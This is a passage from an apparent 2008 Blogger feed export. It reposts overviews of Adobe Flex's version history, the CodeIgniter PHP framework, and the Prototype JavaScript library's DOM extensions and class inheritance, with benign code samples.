IDE.&lt;/p&gt;&lt;H2&gt;Adobe Flex 2&lt;/H2&gt;&lt;p&gt;Adobe significantly changed the licensing model for the Flex product line   with the release of Flex 2. The core Flex 2 SDK, consisting of the command-line   compilers and the complete class library of user interface components and   utilities, was made available as a free download. Complete Flex applications can   be built and deployed with only the Flex 2 SDK, which contains no limitations or   restrictions compared to the same SDK included with the Flex Builder IDE.&lt;/p&gt;&lt;p&gt;Adobe based the new version of Flex Builder on the open source &lt;A target="_blank" title="Eclipse (software)" href="http://en.wikipedia.org/wiki/Eclipse_%28software%29"&gt;Eclipse&lt;/A&gt; platform. The company released two versions of Flex Builder 2, Standard and   Professional. The Professional version includes the Flex Charting Components   library.&lt;/p&gt;&lt;p&gt;Enterprise-oriented services remain available through Flex Data Services 2.   This server component provides data synchronization, data push,   publish-subscribe and automated testing. Unlike Flex 1.0 and 1.5, Flex Data   Services is not required for the deployment of Flex applications.&lt;/p&gt;&lt;p&gt;Coinciding with the release of Flex 2, Adobe introduced a new version of the &lt;A target="_blank" title="ActionScript" href="http://en.wikipedia.org/wiki/ActionScript"&gt;ActionScript&lt;/A&gt; programming   language, known as Actionscript 3, reflecting the latest &lt;A target="_blank" title="ECMAScript" href="http://en.wikipedia.org/wiki/ECMAScript"&gt;ECMAScript&lt;/A&gt; specification. The use of ActionScript 3   and Flex 2 requires version 9 or later of the Flash Player runtime. Flash Player   9 incorporated a new and more robust virtual machine for running the new   ActionScript 3.&lt;/p&gt;&lt;p&gt;Flex was the first Macromedia product to be re-branded under the &lt;A target="_blank" title="Adobe Systems" href="http://en.wikipedia.org/wiki/Adobe_Systems"&gt;Adobe&lt;/A&gt; name.&lt;/p&gt;&lt;H2&gt;   Adobe Flex 3&lt;/H2&gt;&lt;p&gt;On &lt;A target="_blank" title="April 26" href="http://en.wikipedia.org/wiki/April_26"&gt;April 26&lt;/A&gt;, &lt;A target="_blank" title="2007" href="http://en.wikipedia.org/wiki/2007"&gt;2007&lt;/A&gt; Adobe announced their intent to release the Flex 3   SDK (which excludes the Flex Builder IDE and the LiveCycle Data Services) under   the terms of the &lt;A target="_blank" title="Mozilla Public License" href="http://en.wikipedia.org/wiki/Mozilla_Public_License"&gt;Mozilla Public License&lt;/A&gt;.&lt;A target="_blank" title="" href="http://en.wikipedia.org/#cite_note-0"&gt;[1]&lt;/A&gt; Adobe released the first beta of Flex 3, codenamed Moxie, in June 2007. Major   enhancements include integration with the new versions of Adobe's Creative Suite   products, support for &lt;A target="_blank" title="Adobe Apollo" href="http://en.wikipedia.org/wiki/Adobe_Apollo"&gt;AIR&lt;/A&gt; (Adobe's new desktop application runtime), and   the addition of profiling and refactoring tools to the Flex Builder IDE.&lt;/p&gt;&lt;p&gt;In October 2007, Adobe released the second beta of Flex 3.&lt;BR&gt;On December 12,   2007, Adobe released the third beta of Flex 3.&lt;BR&gt;On February 25, 2008, Adobe   released Flex 3 and Adobe AIR 1.0.&lt;/p&gt;&lt;H2&gt;Adobe Flex 4&lt;/H2&gt;&lt;p&gt;Adobe has announced that Flex 4.0 (code named Gumbo) will be released in &lt;A target="_blank" title="2009" href="http://en.wikipedia.org/wiki/2009"&gt;2009&lt;/A&gt;. Even though this announcement has been   made, the product plan has yet to be completed.&lt;/p&gt;&lt;p&gt;Some themes that have been mentioned by Adobe that will be incorporated into   Flex 4 are as follows:&lt;/p&gt;&lt;UL&gt;&lt;LI&gt;Design in Mind: The framework will be designed for continuous collaboration   between designers and developers.   &lt;LI&gt;Accelerated Development: Be able to take application development from   conceptual to reality quickly.   &lt;LI&gt;Horizontal Platform Improvements: Compiler performance, language   enhancements, BiDi components, enhanced text. (Speculation derived from Adobe   Systems)   &lt;LI&gt;Broadening Horizons: Finding ways to make a framework lighter, supporting   more deployment runtimes, runtime MXML. (Speculation derived from Adobe Systems) &lt;/LI&gt;&lt;/UL&gt;&lt;p&gt;Flex 4 milestones: (Speculation derived form Adobe Systems)&lt;BR&gt;&lt;/p&gt;&lt;UL&gt;&lt;LI&gt;Scope determined, April &lt;A target="_blank" title="2008" href="http://en.wikipedia.org/wiki/2008"&gt;2008&lt;/A&gt;&lt;LI&gt;Beta 1, late &lt;A target="_blank" title="2008" href="http://en.wikipedia.org/wiki/2008"&gt;2008&lt;/A&gt;&lt;LI&gt;4.0 final, &lt;A target="_blank" title="2009" href="http://en.wikipedia.org/wiki/2009"&gt;2009&lt;/A&gt; &lt;/LI&gt;&lt;/UL&gt;&lt;H2&gt;   LiveCycle Data Services&lt;/H2&gt;&lt;p&gt;LiveCycle Data Services (previously called Flex Data Services) is a   server-side complement to the main Flex SDK and Flex Builder IDE and is part of   a family of server-based products available from Adobe. Deployed as a Java EE   application, LiveCycle Data Services adds the following capabilities to Flex   applications:&lt;/p&gt;&lt;UL&gt;&lt;LI&gt;Remoting, which allows Flex client applications to invoke methods on Java   server objects directly. Similar to Java remote method invocation (RMI),   remoting handles data marshalling automatically and uses a binary data transfer   format.   &lt;LI&gt;Messaging, which provides the "publish" end of the "publish/subscribe"   design pattern. The Flash client can publish events to a topic defined on the   server, subscribe to events broadcast from the message service. One of the   common use cases for this is real-time streaming of data, such as financial data   or system status information.   &lt;LI&gt;Data management services, which provides a programming model for   automatically managing data sets that have been downloaded to the Flex client.   Once data is loaded from the server, changes are automatically tracked and can   be synchronized with the server at the request of the application. Clients are   also notified if changes to the data set are made on the server.   &lt;LI&gt;PDF document generation, providing APIs for generating PDF documents by   merging client data or graphics with templates stored on the server. &lt;/LI&gt;&lt;/UL&gt;&lt;H2&gt;BlazeDS&lt;/H2&gt;&lt;p&gt;Previously available only as part of Adobe LiveCycle Data Services ES, Adobe   is announcing its plans to contribute the proven &lt;A target="_blank" title="BlazeDS" href="http://en.wikipedia.org/wiki/BlazeDS"&gt;BlazeDS&lt;/A&gt; technologies to the community under the &lt;A target="_blank" title="GNU Lesser General Public License" href="http://en.wikipedia.org/wiki/GNU_Lesser_General_Public_License"&gt;LGPL v3&lt;/A&gt;. BlazeDS gives the   rapidly growing Adobe developer community free access to the powerful remoting   and messaging technologies developed by Adobe.&lt;/p&gt;&lt;p&gt;Concurrent with this pre-release of BlazeDS, Adobe is publishing the &lt;A target="_blank" title="Action Message Format" href="http://en.wikipedia.org/wiki/Action_Message_Format"&gt;AMF&lt;/A&gt; binary   data protocol specification, on which the BlazeDS remoting implementation is   based, and is committed to partnering with the community to make this protocol   available for every major server platform. The source code will be available for   download early 2008.&lt;/p&gt;&lt;H2&gt;   Flex and ColdFusion&lt;/H2&gt;&lt;p&gt;Flex 2 offers special integration with ColdFusion MX 7. The ColdFusion MX   7.0.2 release adds updated Flash Remoting to support ActionScript 3, a Flex Data   Services event gateway, and the Flex Data Services assembler. Flex Builder 2   also adds extensions for ColdFusion providing a set of wizards for RAD Flex   development. A subset of Flex 1.5 is also embedded into &lt;A target="_blank" title="ColdFusion" href="http://en.wikipedia.org/wiki/ColdFusion#Rich_Forms"&gt;ColdFusion MX 7&lt;/A&gt; middleware platform, for   use in the ColdFusion Flash forms feature. It is possible to use this framework   to write rich internet applications, although its intended purpose is for rich   forms only.&lt;/p&gt;&lt;H2&gt;   Flex Application Development Process&lt;/H2&gt;&lt;p&gt;Everything below is directly sourced from the help file in version 2.0 Beta   3:&lt;/p&gt;&lt;UL&gt;&lt;LI&gt;Define an application interface using a set of pre-defined components   (forms, buttons, and so on)   &lt;LI&gt;Arrange components into a user interface design   &lt;LI&gt;Use styles and themes to define the visual design   &lt;LI&gt;Add dynamic behavior (one part of the application interacting with another,   for example)   &lt;LI&gt;Define and connect to data services as needed   &lt;LI&gt;Build the source code into an SWF file that runs in the Flash Player &lt;/LI&gt;&lt;/UL&gt;&lt;H2&gt;   Release history&lt;/H2&gt;&lt;UL&gt;&lt;LI&gt;Flex 1.0 - March 2004   &lt;LI&gt;Flex 1.5 - October 2004   &lt;LI&gt;Flex 2.0 (Alpha) - October 2005   &lt;LI&gt;Flex 2.0 Beta 1 - February 2006   &lt;LI&gt;Flex 2.0 Beta 2 - March 2006   &lt;LI&gt;Flex 2.0 Beta 3 - May 2006   &lt;LI&gt;Flex 2.0 Final- June 28, 2006   &lt;LI&gt;Flex 2.0.1 - January 5, 2007   &lt;LI&gt;Flex 3.0 Beta 1 - June 11, 2007   &lt;LI&gt;Flex 3.0 Beta 2 - October 1, 2007   &lt;LI&gt;Flex 3.0 Beta 3 - December 12, 2007   &lt;LI&gt;Flex 3.0 - February 25, 2008 &lt;/LI&gt;&lt;/UL&gt;&lt;H2&gt;Notable sites using Flex&lt;/H2&gt;&lt;p&gt;Notable sites using Flex include:&lt;/p&gt;&lt;UL&gt;&lt;LI&gt;&lt;A target="_blank" title="Pikeo" href="http://en.wikipedia.org/wiki/Pikeo"&gt;Pikeo&lt;/A&gt; online photo sharing   &lt;LI&gt;&lt;A target="_blank" title="Amsterdam-Schiphol Airport" href="http://en.wikipedia.org/wiki/Amsterdam-Schiphol_Airport"&gt;Amsterdam-Schiphol Airport&lt;/A&gt;&lt;LI&gt;&lt;A target="_blank" title="Sherwin-Williams" href="http://en.wikipedia.org/wiki/Sherwin-Williams"&gt;Sherwin-Williams&lt;/A&gt; Color Visualizer   &lt;LI&gt;&lt;A target="_blank" title="Sony Ericsson" href="http://en.wikipedia.org/wiki/Sony_Ericsson"&gt;Sony Ericsson&lt;/A&gt; Product Catalog   &lt;LI&gt;&lt;A target="_blank" title="Yahoo! Messenger" href="http://en.wikipedia.org/wiki/Yahoo%21_Messenger"&gt;Yahoo!   Messenger&lt;/A&gt; for the Web &lt;/LI&gt;&lt;/UL&gt;&lt;H2&gt;   See also&lt;/H2&gt;&lt;UL&gt;&lt;LI&gt;&lt;A target="_blank" title="Adobe AIR" href="http://en.wikipedia.org/wiki/Adobe_AIR"&gt;Adobe AIR&lt;/A&gt; (formerly Adobe Apollo)   &lt;LI&gt;&lt;A target="_blank" title="Microsoft Silverlight" href="http://en.wikipedia.org/wiki/Microsoft_Silverlight"&gt;Microsoft Silverlight&lt;/A&gt;&lt;LI&gt;&lt;A target="_blank" title="OpenLaszlo" href="http://en.wikipedia.org/wiki/OpenLaszlo"&gt;OpenLaszlo&lt;/A&gt;&lt;LI&gt;The &lt;A target="_blank" title="ZK Framework" href="http://en.wikipedia.org/wiki/ZK_Framework"&gt;ZK Framework&lt;/A&gt;&lt;LI&gt;&lt;A target="_blank" title="JavaFX" href="http://en.wikipedia.org/wiki/JavaFX"&gt;JavaFX&lt;/A&gt;&lt;LI&gt;&lt;A target="_blank" title="Comparison between Ajax and Flex" href="http://en.wikipedia.org/wiki/Comparison_between_Ajax_and_Flex"&gt;Comparison between Ajax and   Flex&lt;/A&gt; &lt;/LI&gt;&lt;/UL&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-8476776081969649550?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/8476776081969649550/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=8476776081969649550' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/8476776081969649550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/8476776081969649550'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/05/adobe-flex.html' title='Adobe Flex'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-8185020750323431069</id><published>2008-05-09T14:50:00.001+05:30</published><updated>2008-05-20T12:46:41.062+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology Upgrades'/><title type='text'>CodeIgniter</title><content type='html'>&lt;H3&gt;CodeIgniter - Open source PHP web   application framework&lt;/H3&gt;&lt;DIV id="content"&gt;&lt;H2&gt;CodeIgniter is an Application Framework&lt;/H2&gt;&lt;p&gt;CodeIgniter is a toolkit for people who build web application using PHP. Its   goal is to enable you to develop projects much faster than you could if you were   writing code from scratch, by providing a rich set of libraries for commonly   needed tasks, as well as a simple interface and logical structure to access   these libraries. CodeIgniter lets you creatively focus on your project by   minimizing the amount of code needed for a given task.&lt;/p&gt;&lt;H2&gt;CodeIgniter is Free&lt;/H2&gt;&lt;p&gt;CodeIgniter is licensed under an Apache/BSD-style open source license so you   can use it however you please. For more information please read the &lt;A target="_blank"href="http://codeigniter.com/user_guide/license.html"&gt;license agreement&lt;/A&gt;.&lt;/p&gt;&lt;H2&gt;CodeIgniter Runs on PHP 4&lt;/H2&gt;&lt;p&gt;CodeIgniter is written to be compatible with PHP 4. Although we would have   loved to take advantage of the better object handling in PHP 5 since it would   have simplified some things we had to find creative solutions for (looking your   way, multiple inheritance), at the time of this writing PHP 5 is not in   widespread use, which means we would be alienating most of our potential   audience. Major OS vendors like RedHat are moving slowly to support PHP 5, and   they are unlikely to do so in the short term, so we felt that it did not serve   the best interests of the PHP community to write CodeIgniter in PHP 5.&lt;/p&gt;&lt;p&gt;Note: CodeIgniter will run on PHP 5. It simply does not take advantage of any   native features that are only available in that version.&lt;/p&gt;&lt;H2&gt;CodeIgniter is Light Weight&lt;/H2&gt;&lt;p&gt;Truly light weight. The core system requires only a few very small libraries.   This is in stark contrast to many frameworks that require significantly more   resources. Additional libraries are loaded dynamically upon request, based on   your needs for a given process, so the base system is very lean and quite fast. &lt;/p&gt;&lt;H2&gt;CodeIgniter is Fast&lt;/H2&gt;&lt;p&gt;Really fast. We challenge you to find a framework that has better performance   than CodeIgniter.&lt;/p&gt;&lt;H2&gt;CodeIgniter Uses M-V-C&lt;/H2&gt;&lt;p&gt;CodeIgniter uses the Model-View-Controller approach, which allows great   separation between logic and presentation. This is particularly good for   projects in which designers are working with your template files, as the code   these file contain will be minimized. We describe MVC in more detail on its own   page.&lt;/p&gt;&lt;H2&gt;CodeIgniter Generates Clean URLs&lt;/H2&gt;&lt;p&gt;The URLs generated by CodeIgniter are clean and search-engine friendly.   Rather than using the standard "query string" approach to URLs that is   synonymous with dynamic systems, CodeIgniter uses a segment-based   approach:&lt;/p&gt;www.your-site.com/news/article/345&lt;p&gt;Note: By default the index.php file is included in the URL but it can be   removed using a simple .htaccess file.&lt;/p&gt;&lt;H2&gt;CodeIgniter Packs a Punch&lt;/H2&gt;&lt;p&gt;CodeIgniter comes with full-range of libraries that enable the most commonly   needed web development tasks, like accessing a database, sending email,   validating form data, maintaining sessions, manipulating images, working with   XML-RPC data and much more.&lt;/p&gt;&lt;H2&gt;CodeIgniter is Extensible&lt;/H2&gt;&lt;p&gt;The system can be easily extended through the use of plugins and helper   libraries, or through class extensions or system hooks.&lt;/p&gt;&lt;H2&gt;CodeIgniter Does Not Require a Template Engine&lt;/H2&gt;&lt;p&gt;Although CodeIgniter &lt;EM&gt;does&lt;/EM&gt; come with a simple template parser that   can be optionally used, it does not force you to use one. Template engines   simply can not match the performance of native PHP, and the syntax that must be   learned to use a template engine is usually only marginally easier than learning   the basics of PHP. Consider this block of PHP   code:&lt;/p&gt;&amp;lt;ul&amp;gt;&lt;BR&gt;&lt;BR&gt;&amp;lt;?php foreach ($addressbook as   $name):?&amp;gt;&lt;BR&gt;&lt;BR&gt;&amp;lt;li&amp;gt;&amp;lt;?=$name?&amp;gt;&amp;lt;/li&amp;gt;&lt;BR&gt;&lt;BR&gt;&amp;lt;?php   endforeach; ?&amp;gt;&lt;BR&gt;&lt;BR&gt;&amp;lt;/ul&amp;gt;&lt;p&gt;Contrast this with the pseudo-code used by a template   engine:&lt;/p&gt;&amp;lt;ul&amp;gt;&lt;BR&gt;&lt;BR&gt;{foreach from=$addressbook   item="name"}&lt;BR&gt;&lt;BR&gt;&amp;lt;li&amp;gt;{$name}&amp;lt;/li&amp;gt;&lt;BR&gt;&lt;BR&gt;{/foreach}&lt;BR&gt;&lt;BR&gt;&amp;lt;/ul&amp;gt;&lt;p&gt;Yes, the template engine example is a bit cleaner, but it comes at the price   of performance, as the pseudo-code must be converted back into PHP to run. Since   one of our goals is &lt;EM&gt;maximum performance&lt;/EM&gt;, we opted to not require the   use of a template engine.&lt;/p&gt;&lt;H2&gt;CodeIgniter is Thoroughly Documented&lt;/H2&gt;&lt;p&gt;Programmers love to code and hate to write documentation. We're no different,   of course, but since documentation is &lt;STRONG&gt;as important&lt;/STRONG&gt; as the code   itself, we are committed to doing it. Our source code is extremely clean and   well commented as well.&lt;/p&gt;&lt;H2&gt;CodeIgniter has a Friendly Community of Users&lt;/H2&gt;&lt;p&gt;Our growing community of users can be seen actively participating in our &lt;A target="_blank"href="http://codeigniter.com/forums/"&gt;Community Forums&lt;/A&gt;.&lt;/p&gt;&lt;/DIV&gt;&lt;H4&gt;&lt;A target="_blank"href="http://codeigniter.com/user_guide/index.html"&gt;click here for the CodeIgniter User Guide&lt;/a&gt;&lt;/H4&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-8185020750323431069?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/8185020750323431069/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=8185020750323431069' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/8185020750323431069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/8185020750323431069'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/05/codeigniter.html' title='CodeIgniter'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-4071804848995090257</id><published>2008-05-09T14:27:00.002+05:30</published><updated>2008-05-20T16:48:37.244+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Technology Upgrades'/><category scheme='http://www.blogger.com/atom/ns#' term='Frameworks'/><title type='text'>Prototype JavaScript framework</title><content type='html'>&lt;h2&gt;&lt;IMG alt="Prototype code sample" src="http://www.prototypejs.org/images/codesample1.gif"&gt; &lt;/h2&gt;&lt;DIV id="sell"&gt;&lt;p&gt;Prototype is a JavaScript Framework that aims to ease   development of dynamic web applications.&lt;/p&gt;&lt;p&gt;Featuring a unique, easy-to-use toolkit for class-driven development and the   nicest Ajax library around, Prototype is quickly becoming the codebase of choice   for web application developers everywhere.&lt;/p&gt;&lt;/DIV&gt;&lt;h3&gt;How Prototype extends the DOM&lt;/h3&gt;&lt;DIV id="learn-excerpt"&gt;&lt;p&gt;The biggest part of the Prototype framework are its DOM extensions. Prototype   adds many convenience methods to elements returned by the $()   function: for instance, you can write   $('comments').addClassName('active').show() to get the element with   the ID 'comments', add a class name to it and show it (if it was previously   hidden). The 'comments' element didn't have those methods in native JavaScript;   how is this possible? This document reveals some clever hacks found in   Prototype.&lt;/p&gt;&lt;/DIV&gt;&lt;DIV id="abody"&gt;&lt;h2&gt;The Element.extend() method&lt;/h2&gt;&lt;p&gt;Most of the DOM methods are encapsulated by the Element.Methods   object and then copied over to the Element object (for   convenience). They all receive the element to operate with as the first   parameter:&lt;/p&gt;&lt;PRE&gt;&lt;BR&gt;Element.hide('comments'); &lt;BR&gt;var div_height = Element.getHeight(my_div); &lt;BR&gt;Element.addClassName('contactform', 'pending'); &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;These examples are concise and readable, but we can do better. If you have an   element to work with, you can pass it through Element.extend() and   it will copy all those methods directly to the element. Example, to create an   element and manipulate it:&lt;/p&gt;&lt;PRE&gt;&lt;BR&gt;var my_div = document.createElement('div'); &lt;p&gt;&lt;BR&gt;&lt;/p&gt;Element.extend(my_div); &lt;BR&gt;my_div.addClassName('pending').hide(); &lt;p&gt;&lt;BR&gt;&lt;/p&gt;// insert it in the document &lt;BR&gt;document.body.appendChild(my_div); &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;Our method calls just got shorter and more intuitive! As mentioned before,   Element.extend() copies all the methods from   Element.Methods to our element which automatically becomes the   first argument for all those functions. The extend() method is   smart enough not to try to operate twice on the same element. What's even   better, **the dollar function $() extends every element passed   through it** with this mechanism.&lt;/p&gt;&lt;p&gt;In addition, Element.extend() also applies   Form.Methods to FORM elements and Form.Element.Methods   to INPUT, TEXTAREA and SELECT elements:&lt;/p&gt;&lt;PRE&gt;&lt;BR&gt;var contact_data = $('contactform').serialize(); &lt;BR&gt;var search_terms = $('search_input').getValue(); &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;Note that not only the dollar function automatically extends elements!   Element.extend() is also called in   document.getElementsByClassName, Form.getElements, on   elements returned from the $$() function (elements matching a CSS   selector) and other places - in the end, chances are you will rarely need to   explicitly call Element.extend() at all.&lt;/p&gt;&lt;h2&gt;Adding your own methods with Element.addMethods()&lt;/h2&gt;&lt;p&gt;If you have some DOM methods of your own that you'd like to add to those of   Prototype, no problem! Prototype provides a mechanism for this, too. Suppose you   have a bunch of functions encapsulated in an object, just pass the object over   to Element.addMethods():&lt;/p&gt;&lt;PRE&gt;&lt;BR&gt;var MyUtils = { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;truncate: function(element, length){ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;element = $(element); &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return element.update(element.innerHTML.truncate(length)); &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}, &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;updateAndMark: function(element, html){ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return $(element).update(html).addClassName('updated'); &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;BR&gt;} &lt;p&gt;&lt;BR&gt;&lt;/p&gt;Element.addMethods(MyUtils); &lt;p&gt;&lt;BR&gt;&lt;/p&gt;// now you can: &lt;BR&gt;$('explanation').truncate(100); &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;The only thing to watch out here is to make sure the first argument of these   methods is the element itself. In your methods, you can also return the element   in the end to allow for chainability (or, as practiced in the example, any   method which itself returns the element).&lt;/p&gt;&lt;h2&gt;Native extensions&lt;/h2&gt;&lt;p&gt;There is a secret behind all this.&lt;/p&gt;&lt;p&gt;In browsers that support adding methods to prototype of native objects such   as HTMLElement &lt;EM&gt;all&lt;/EM&gt; DOM extensions on the element are   available by default without ever having to call Element.extend(),   dollar function or anything! This will then work in those browsers:&lt;/p&gt;&lt;PRE&gt;&lt;BR&gt;var my_div = document.createElement('div'); &lt;BR&gt;my_div.addClassName('pending').hide(); &lt;BR&gt;document.body.appendChild(my_div); &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;Because the prototype of the native browser object is extended, all DOM   elements have Prototype extension methods built-in. This, however, isn't true   for IE which doesn't let anyone touch HTMLElement.prototype. To   make the previous example work in IE you would have to extend the element with   Element.extend(). Don't worry, the method is smart enough not to   extend an element more than once.&lt;/p&gt;&lt;p&gt;Because of browsers that don't support this you must take care to use DOM   extensions only on elements that have been extended. For instance, the example   above works in Firefox and Opera, but add Element.extend(my_div)   after creating the element to make the script really solid. You can use the   dollar function as a shortcut like in the following example:&lt;/p&gt;&lt;PRE&gt;&lt;BR&gt;// this will error out in IE: &lt;BR&gt;$('someElement').parentNode.hide() &lt;BR&gt;// to make it cross-browser: &lt;BR&gt;$($('someElement').parentNode).hide() &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;Don't forget about this! Always test in all the browsers you plan to   support.&lt;/p&gt;&lt;/DIV&gt;&lt;DIV id="main-content"&gt;  &lt;h3&gt;Defining classes and inheritance&lt;/h3&gt;  &lt;DIV id="div2"&gt;&lt;p&gt;In the early versions of Prototype, the framework came with basic support for   class creation: the &lt;b&gt;Class.create()&lt;/b&gt; method. Until now the &lt;EM&gt;only&lt;/EM&gt; feature of classes defined this way was that   the constructor called a method called initialize automatically. &lt;STRONG&gt;Prototype 1.6.0&lt;/STRONG&gt; now comes with inheritance support through the   Class module, which has taken several steps further since the last   version; you can make richer classes in your code with more ease than   before.&lt;/p&gt;&lt;/DIV&gt;&lt;DIV id="div3"&gt;&lt;p&gt;The cornerstone of class creation in Prototype is still the &lt;b&gt;Class.create()&lt;/b&gt; method. With the new   version of the framework, your class-based code will continue to work as before;   only now you don't have to work with object prototypes directly or use &lt;b&gt;Object.extend()&lt;/b&gt; to copy properties   around.&lt;/p&gt;  &lt;h2&gt;Example&lt;/h2&gt;  &lt;p&gt;Let's compare the old way and a new way of defining classes and inheritance   in Prototype:&lt;/p&gt;&lt;PRE&gt;/** obsolete syntax **/ &lt;p&gt;&lt;BR&gt;&lt;/p&gt;var Person = Class.create(); &lt;BR&gt;Person.prototype = { &lt;BR&gt;&amp;nbsp;&amp;nbsp;initialize: function(name) { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;this.name = name; &lt;BR&gt;&amp;nbsp;&amp;nbsp;}, &lt;BR&gt;&amp;nbsp;&amp;nbsp;say: function(message) { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return this.name + ': ' + message; &lt;BR&gt;&amp;nbsp;&amp;nbsp;} &lt;BR&gt;}; &lt;p&gt;&lt;BR&gt;&lt;/p&gt;var guy = new Person('Miro'); &lt;BR&gt;guy.say('hi'); &lt;BR&gt;// -&amp;gt; "Miro: hi" &lt;BR&gt;&lt;BR&gt;var Pirate = Class.create(); &lt;BR&gt;// inherit from Person class: &lt;BR&gt;Pirate.prototype = Object.extend(new Person(), { &lt;BR&gt;&amp;nbsp;&amp;nbsp;// redefine the speak method &lt;BR&gt;say: function(message) { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return this.name + ': ' + message + ', yarr!'; &lt;BR&gt;&amp;nbsp;&amp;nbsp;} &lt;BR&gt;}); &lt;p&gt;&lt;BR&gt;&lt;/p&gt;var john = new Pirate('Long John'); &lt;BR&gt;john.say('ahoy matey'); &lt;BR&gt;// -&amp;gt; "Long John: ahoy matey, yarr!" &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;Observe the direct interaction with class prototypes and the clumsy   inheritance technique using Object.extend. Also, with   Pirate redefining the say() method of   Person, there is no way of calling the overridden method like you   can do in programming languages that support class-based inheritance.&lt;/p&gt;&lt;p&gt;This has changed for the better. Compare the above with:&lt;/p&gt;&lt;PRE&gt;/** new, preferred syntax **/ &lt;p&gt;&lt;BR&gt;&lt;/p&gt;// properties are directly passed to `create` method &lt;BR&gt;var Person = Class.create({ &lt;BR&gt;&amp;nbsp;&amp;nbsp;initialize: function(name) { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;this.name = name; &lt;BR&gt;&amp;nbsp;&amp;nbsp;}, &lt;BR&gt;&amp;nbsp;&amp;nbsp;say: function(message) { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return this.name + ': ' + message; &lt;BR&gt;&amp;nbsp;&amp;nbsp;} &lt;BR&gt;}); &lt;p&gt;&lt;BR&gt;&lt;/p&gt;// when subclassing, specify the class you want to inherit from &lt;BR&gt;var Pirate = Class.create(Person, { &lt;BR&gt;&amp;nbsp;&amp;nbsp;// redefine the speak method &lt;BR&gt;say: function($super, message) { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return $super(message) + ', yarr!'; &lt;BR&gt;&amp;nbsp;&amp;nbsp;} &lt;BR&gt;}); &lt;p&gt;&lt;BR&gt;&lt;/p&gt;var john = new Pirate('Long John'); &lt;BR&gt;john.say('ahoy matey'); &lt;BR&gt;// -&amp;gt; "Long John: ahoy matey, yarr!" &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;You can see how both class and subclass definitions are shorter because you   don't need to hack their prototypes directly anymore. We have also demonstrated   another new feature: the "supercall", or calling the overridden method (done   with special keyword super in the Ruby language) in   Pirate#say.&lt;/p&gt;  &lt;h2&gt;How to mix-in modules&lt;/h2&gt;  &lt;p&gt;So far you have seen the general way of calling   Class.create.&lt;/p&gt;&lt;PRE&gt;var Pirate = Class.create(Person, { /* instance methods */ }); &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;But in fact, Class.create takes in an arbitrary number of   arguments. The first&amp;mdash;if it is another class&amp;mdash;defines that the new class should   inherit from it. All other arguments are added as instance methods; internally   they are subsequent 